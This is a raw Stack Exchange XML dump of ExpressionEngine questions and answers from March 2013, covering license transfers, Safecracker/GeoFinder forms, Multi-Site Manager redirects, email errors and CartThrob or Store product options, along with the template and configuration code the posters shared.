  <row Id="7240" PostTypeId="1" AcceptedAnswerId="7242" CreationDate="2013-03-11T20:45:40.390" Score="4" ViewCount="390" Body="&lt;p&gt;We took over a site from another agency, but they still technically have the only access to the license for the site. Is there any way to have EllisLabs transfer it? Or just enter the license # under our  own account as belonging to us now? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am completely clueless if there's even a way to do this, and didn't see a way to just quick-contact EllisLabs without being charged.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-03-13T13:53:26.200" Title="Can &quot;control&quot; of EE licenses be transferred?" Tags="|license|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7241" PostTypeId="1" CreationDate="2013-03-11T20:49:58.477" Score="0" ViewCount="95" Body="&lt;p&gt;I have been working with Safecracker/GeoFinder and the entries created directly from the backend (without safecracker) display perfectly fine in the Geofinder Results, but entries created through the form on my site (with safecracker) won't show up in GeoFinder.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I have to do to get entries created through safecracker to display in GeoFinder Results that I may be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Safecracker 2.1 (Updated):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:safecracker&#xA;channel=&quot;personal_trainer_directory&quot;&#xA;return=&quot;/member/profile&quot;&#xA;entry_id=&quot;&quot;&#xA;safecracker_head=&quot;no&quot;&#xA;use_live_url=&quot;no&quot;&#xA;url_title=&quot;&quot;&#xA;class=&quot;geotagger&quot;&#xA;}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;trainer_longitude&quot; name=&quot;trainer_longitude&quot; value=&quot;{trainer_longitude}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;trainer_latitude&quot; name=&quot;trainer_latitude&quot; value=&quot;{trainer_latitude}&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;span class=&quot;directions&quot;&amp;gt;The name to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;url_title&quot;&amp;gt;URL Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;span class=&quot;directions&quot;&amp;gt;Put a dash between first and last name. example: &quot;john-smith&quot;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection trainer-photo clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_photo&quot;&amp;gt;Photo&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The photo to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; name=&quot;trainer_photo&quot; id=&quot;trainer_photo&quot; value=&quot;{trainer_photo}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The email address to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_email&quot; id=&quot;trainer_email&quot; value=&quot;{trainer_email}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_rate&quot;&amp;gt;Rate&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The rate to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_rate&quot; id=&quot;trainer_rate&quot; value=&quot;{trainer_rate}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_phone&quot;&amp;gt;Phone Number&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The phone number to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_phone&quot; id=&quot;trainer_phone&quot; value=&quot;{trainer_phone}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_address&quot;&amp;gt;Street Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;This will NOT be displayed in your listing. Only for search Purposes.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_address&quot; id=&quot;trainer_address&quot; value=&quot;{trainer_address}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The city to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_city&quot; id=&quot;trainer_city&quot; value=&quot;{trainer_city}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The state to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;select name=&quot;trainer_state&quot;&amp;gt;&#xA;            {options:trainer_state}&#xA;                &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;            {/options:trainer_state}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_zip&quot;&amp;gt;Zip Code&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;The zip code to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_zip&quot; id=&quot;trainer_zip&quot; value=&quot;{trainer_zip}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_about&quot;&amp;gt;Trainer Information&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;Information about the trainer to be displayed in your listing.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;textarea id=&quot;trainer_about&quot; name=&quot;trainer_about&quot; dir=&quot;{text_direction}&quot; rows=&quot;{rows}&quot;&amp;gt;{trainer_about}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_certifications&quot;&amp;gt;Certifications&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;Your certifications to be displayed in your listing. Separate with commas.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;trainer_certifications&quot; id=&quot;trainer_certifications&quot; value=&quot;{trainer_certifications}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_areas_of_expertise&quot;&amp;gt;Areas of Expertise&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;Your areas of expertise to be displayed in your listing. Separate with commas.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;textarea type=&quot;text&quot; name=&quot;trainer_areas_of_expertise&quot; dir=&quot;{text_direction}&quot; id=&quot;trainer_areas_of_expertise&quot;&amp;gt;{trainer_areas_of_expertise}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_specials&quot;&amp;gt;Specials&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;Your specials to be displayed in your listing. Separate with commas.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;textarea type=&quot;text&quot; name=&quot;trainer_specials&quot; dir=&quot;{text_direction}&quot; id=&quot;trainer_specials&quot;&amp;gt;{trainer_specials}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;formsection clearfix&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;trainer_gym_affiliates&quot;&amp;gt;Gym Affiliates&amp;lt;/label&amp;gt;&#xA;        &amp;lt;span class=&quot;directions&quot;&amp;gt;Your gym affiliates to be displayed in your listing. Separate with commas.&amp;lt;/span&amp;gt;&#xA;        &amp;lt;textarea type=&quot;text&quot; name=&quot;trainer_gym_affiliates&quot; dir=&quot;{text_direction}&quot; id=&quot;trainer_gym_affiliates&quot;&amp;gt;{trainer_gym_affiliates}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {field:trainer_geocode}&#xA;&#xA;    &amp;lt;div id=&quot;thankyousave&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot;  class=&quot;small red button radius&quot; name=&quot;save&quot; value=&quot;Save Settings&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the fields in the backend: &lt;a href=&quot;http://d.pr/KeOa&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/KeOa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="941" LastEditorUserId="941" LastEditDate="2013-03-13T18:30:38.607" LastActivityDate="2013-03-13T18:30:38.607" Title="Safecracker and Geofinder. Can't Get Entries Created from Safecracker to Display" Tags="|safecracker|geofinder|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7242" PostTypeId="2" ParentId="7240" CreationDate="2013-03-11T21:11:37.120" Score="9" Body="&lt;p&gt;This should be a quick email to EllisLab sales department. The previous agency, however, will have to initiate the transfer in the first place as they own it. Ask them to email sales@ellislab.com, tell them what account to transfer it to, and EL usually resolves it in a couple days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should NOT incur additional fees as you're just taking over the ownership. That being said, the ownership should probably be best transferred to the CLIENT as they should own it perpetually, NOT the agency. You would get the client to create an EllisLab.com account and then get the previous agency to transfer that license to them. So in the event they change another vendor or whatever, the license is still theirs.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="150" LastEditDate="2013-03-13T13:53:26.200" LastActivityDate="2013-03-13T13:53:26.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7243" PostTypeId="1" CreationDate="2013-03-11T22:55:07.280" Score="0" ViewCount="116" Body="&lt;p&gt;I am experiencing some weird bugs over the past day or so. Basically we are using Zoo Visitor to allow some of our team to create users without having access to the Members section of the CP, for obvious security reasons, but each time they create a new account over the past day or so, this error is being thrown:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExpressionEngine - An unknown error has occurred when sending email with your server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This same error comes up when trying to update a user's member group. I've run a few searches and I can't find anything that has changed over the past day, but if I knew what caused this error it may be easier to debug properly.&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="28" LastEditDate="2013-03-12T00:52:17.617" LastActivityDate="2013-03-12T02:47:19.867" Title="Control Panel - weird error after creating user through zoo" Tags="|members|zoo-visitor|registration|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7244" PostTypeId="2" ParentId="5474" CreationDate="2013-03-12T00:53:37.863" Score="2" Body="&lt;p&gt;You need to be aware sometimes that when using the API, you're going to take a whole lot of potential baggage with you - a lot of that baggage may not be from first party. There are several extension hooks being called when you save an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been bitten for example by Solspace Tag doing a whole bunch of cleanup/recounts after &lt;em&gt;ANY&lt;/em&gt; entry is created or updated. So, if you're bulk importing fairly simple entry data, there is potential for a lot of complex things to be happening that you're not immediately aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, each entry was taking several seconds to update and Tag was the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up placing echo statements throughout the entire 'save' entry process in Api_channel_entries which showed me memory usage and time taken to get to various points from submit to save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some other bulk actions EE can take when saving an entry, like clearing caches and recompiling relationship data (that can be a huge one and thinking now it might be the culprit) but debugging your way through Api_channel_entries is the only way to go imo.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-03-12T00:53:37.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostTypeId="2" ParentId="7243" CreationDate="2013-03-12T02:47:19.867" Score="1" Body="&lt;p&gt;As error states, the error because of the email settings i.e system couldn't send the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to check the email settings from CP -&gt; Admin -&gt; Email Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From CP -&gt; Tool -&gt; Communicate, test if email/s are being sent properly by system.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-12T02:47:19.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostTypeId="2" ParentId="6797" CreationDate="2013-03-12T05:58:11.060" Score="4" Body="&lt;p&gt;This turned out to be caused by a conflict with the &lt;a href=&quot;http://devot-ee.com/add-ons/login-redirect&quot; rel=&quot;nofollow&quot;&gt;Twomile Login Redirect&lt;/a&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Store was half way through processing the order, the member account is registered using the standard EE member registration functions (which I believe triggers the &lt;code&gt;member_member_login_single&lt;/code&gt; hook since the member is logged in automatically). However, at this point the Twomile extension sees the member login and immediately redirects the customer back to the previous page (which results in an incomplete order and the customer's cart not being cleared).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to disable/uninstall Twomile Login Redirect. You can achieve the same things that extension provides on a per-template basis using &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; or any other member management plugins.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-12T05:58:11.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7247" PostTypeId="2" ParentId="7239" CreationDate="2013-03-12T06:04:55.993" Score="5" Body="&lt;p&gt;Backup your database first, of course, but theoretically this should be easy-peasy: Just add your S3 sources in the settings and then, in the Assets File Manager just drag all your files and folders from your EE sources to S3 sources and that's that - no changes in entries should be required at all.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-03-12T06:04:55.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7248" PostTypeId="1" CreationDate="2013-03-12T06:24:11.237" Score="1" ViewCount="491" Body="&lt;p&gt;Hoping someone can help ... I have installed the latest Multi-site manager for EE2+, set up a site and updated admin.php &amp;amp; index.php files &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/install.html&quot; rel=&quot;nofollow&quot;&gt;as stated in the instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I go to visit &lt;a href=&quot;http://site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site2.com.au&lt;/a&gt; I get instantly redirected to &lt;a href=&quot;http://site1.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site1.com.au&lt;/a&gt; and I can't work out why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Full details of install are outlined below:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed MSN, uploaded files (3) to appropriate folders in site1. Activated/turned on MSN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed sites from site1 to site2 via top right site drop-down. Updated root url to site2.com.au and created default template with temporary text in design&gt;templates etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding site2 as a stand alone site (reseller hosting account) without success &amp;amp; speaking in detail with my host &lt;a href=&quot;http://eleven2.com&quot; rel=&quot;nofollow&quot;&gt;e2&lt;/a&gt;, they had this to say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;It seems that domain2 account cannot access the other account's path&#xA;  since they are separate cpanel accounts. I would suggest you to try&#xA;  creating domain2 as addon domain under the domain1 for creating&#xA;  multisite&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I deleted the stand alone hosted account for site2 and added it as an 'Add on domain' via site1 cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This created the following folder structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/&#xA;&amp;gt; short_name/&#xA;&amp;gt;&amp;gt; public_html/&#xA;--- system&#xA;--- themes&#xA;--- admin.php&#xA;--- index.php&#xA;&amp;gt;&amp;gt;&amp;gt; site2.com.au&#xA;---- admin.php&#xA;---- index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By adding site2 as an add on domain it created a folder in the root directory of site1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied index.php &amp;amp; admin.php from site1 root and edited them with the following info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt; (full server path)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '/home/short_name/public_html/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried (relative?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_name']  = 'site_2';&#xA;$assign_to_config['cp_url'] = 'http://site2.com.au/admin.php';&#xA;$assign_to_config['site_url'] = 'http://site2.com.au';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;admin.php&lt;/strong&gt; is pretty much the same apart from the site_url is not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when trying to access &lt;a href=&quot;http://site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site2.com.au&lt;/a&gt; &amp;amp; /admin.php I get instantly redirected to &lt;a href=&quot;http://site1.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site1.com.au&lt;/a&gt; &amp;amp; /admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very odd thing is if I visit &lt;a href=&quot;http://site1.com.au/site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site1.com.au/site2.com.au&lt;/a&gt; I can see the temporary text I added for site2 default template so it would appear that MSM is working but not redirecting/displaying the URL correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I completed all the steps till the end of &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/domainsetup.html&quot; rel=&quot;nofollow&quot;&gt;Setup Domains and Sub-domains&lt;/a&gt;&quot; but didn't go any further than a quick read over as the rest of the steps seemed to refer to shared channels &amp;amp; files etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping it is a smile fix &amp;amp; appreciate any help anyone can offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2013-03-12T11:30:40.537" Title="MSM (multi-site manager) site2 instantly redirecting to site 1" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7249" PostTypeId="2" ParentId="7248" CreationDate="2013-03-12T08:31:57.810" Score="0" Body="&lt;p&gt;Do you have .htaccess file on site2 domain? I suspect there's some rule there that redirects all requests to site1.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-12T08:31:57.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7250" PostTypeId="2" ParentId="7248" CreationDate="2013-03-12T11:30:40.537" Score="2" Body="&lt;p&gt;It seems to me the issue is more to do with the DNS you have set up for the second subdomain. You have proved the path you have issued &lt;a href=&quot;http://site1.com.au/site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site1.com.au/site2.com.au&lt;/a&gt; works as site 2 should, i would also imagine &lt;a href=&quot;http://site2.com.au/site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site2.com.au/site2.com.au&lt;/a&gt; would also show you the required site2... If so then your DNS for &lt;a href=&quot;http://site2.com.au&quot; rel=&quot;nofollow&quot;&gt;http://site2.com.au&lt;/a&gt; is pointing at the standard public_html folder and not the new sub domain sub folder... i would go back to your host as it looks like your EE MSM set up is working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it wont work in shared hosting is the openbase_dir is disabled otherwise you would be able to access other websites (not your own) on the same server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-03-12T11:30:40.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7251" PostTypeId="2" ParentId="7228" CreationDate="2013-03-12T11:30:46.657" Score="2" Body="&lt;p&gt;A Flickr extraPlugin were loaded in the Wygwam configuration.&lt;br&gt;&#xA;I just created a new configuration removing that element. Plus I deferred the CK Editor initialization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be working now.&lt;/p&gt;&#xA;" OwnerUserId="1062" LastActivityDate="2013-03-12T11:30:46.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostTypeId="1" AcceptedAnswerId="7537" CreationDate="2013-03-12T11:41:50.010" Score="2" ViewCount="362" Body="&lt;p&gt;This is about a software downloads facility where I want account registration for new members during the order confirmation stage. I have read the documentation about this, but have questions:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 should I use register_member=&quot;&quot; just like that or is it register_member=&quot;true&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 do I have to require the email address via parameter or does the presence of the register_member= parameter cause that?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 the docs say that an account will be created based on the email address. What feedback is provided when this actually happens?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 what happens if a returning customer goes through another order process? The docs only say &quot;and the email address must not already be used for a member account.&quot; Does this mean an error will be generated or is there a way to steer the user to login before completing the order?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2013-03-12T17:16:51.390" LastActivityDate="2013-06-26T21:20:50.147" Title="How does the exp:resso store register_member parameter work" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostTypeId="1" AcceptedAnswerId="7376" CreationDate="2013-03-12T12:38:58.157" Score="3" ViewCount="220" Body="&lt;p&gt;this may be a bit confusing to explain but I'll do my best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have products in Store which have a base price and price modifiers which so far works as expected. However I also need to update the price based on user input via a text input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the user enters some text, and Javascript counts the characters, which then needs to adjust the price, the original price times the number of characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use the item quantity field because of the other price modifiers, these do not change based on the number of letters but are set for each individual product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also been told to use input:custom_modifier_name (&lt;a href=&quot;https://www.exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&lt;/a&gt;), and this does seem to work according to the documentation. However it is not obvious to me how this could be used to update the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out? I've went round in a circle a few times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Laura&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2013-03-15T03:00:55.920" Title="Updating price from hidden field" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7254" PostTypeId="1" AcceptedAnswerId="7255" CreationDate="2013-03-12T13:30:34.333" Score="0" ViewCount="126" Body="&lt;p&gt;I have a Price Modifier for a product which has the usual option_value, option_name and price. I have added an additional column titled 'supplementary'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This new column is correctly appearing within the Add to Cart form using the {supplementary} tag as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {my_option}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][my_option]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[supplementary]&quot; value=&quot;supplementary&quot; /&amp;gt; &#xA;    {option_name} {supplementary} {price}&#xA;    {/my_option}&#xA;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I need this to also appear in the Basket/Cart with the selected option but it's not appearing with the following code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; row_id=&quot;{row_id}&quot;}&#xA;{option_label}: {option_value} {supplementary}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if someone could tell me what I'm doing wrong? I've also tried using the following but to no avail;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{item_options:supplementary}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-03-12T13:41:18.490" LastActivityDate="2013-03-12T13:57:51.283" Title="CartThrob - Price Modifier with additional column" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7255" PostTypeId="2" ParentId="7254" CreationDate="2013-03-12T13:57:51.283" Score="1" Body="&lt;p&gt;Fixed. After further trial and error I resolved my own question. Here's the answer in case anyone else gets stuck with something similar;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {my_option}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][my_option]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][additional_column]&quot; value=&quot;{additional_column}&quot; /&amp;gt; &#xA;    {option_name} {additional_column} {price}&#xA;    {/my_option}&#xA;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to add the additional column tag to Basket/Cart. It just outputs automatically with the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; row_id=&quot;{row_id}&quot;}&#xA;{option_label}: {option_value}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-03-12T13:57:51.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
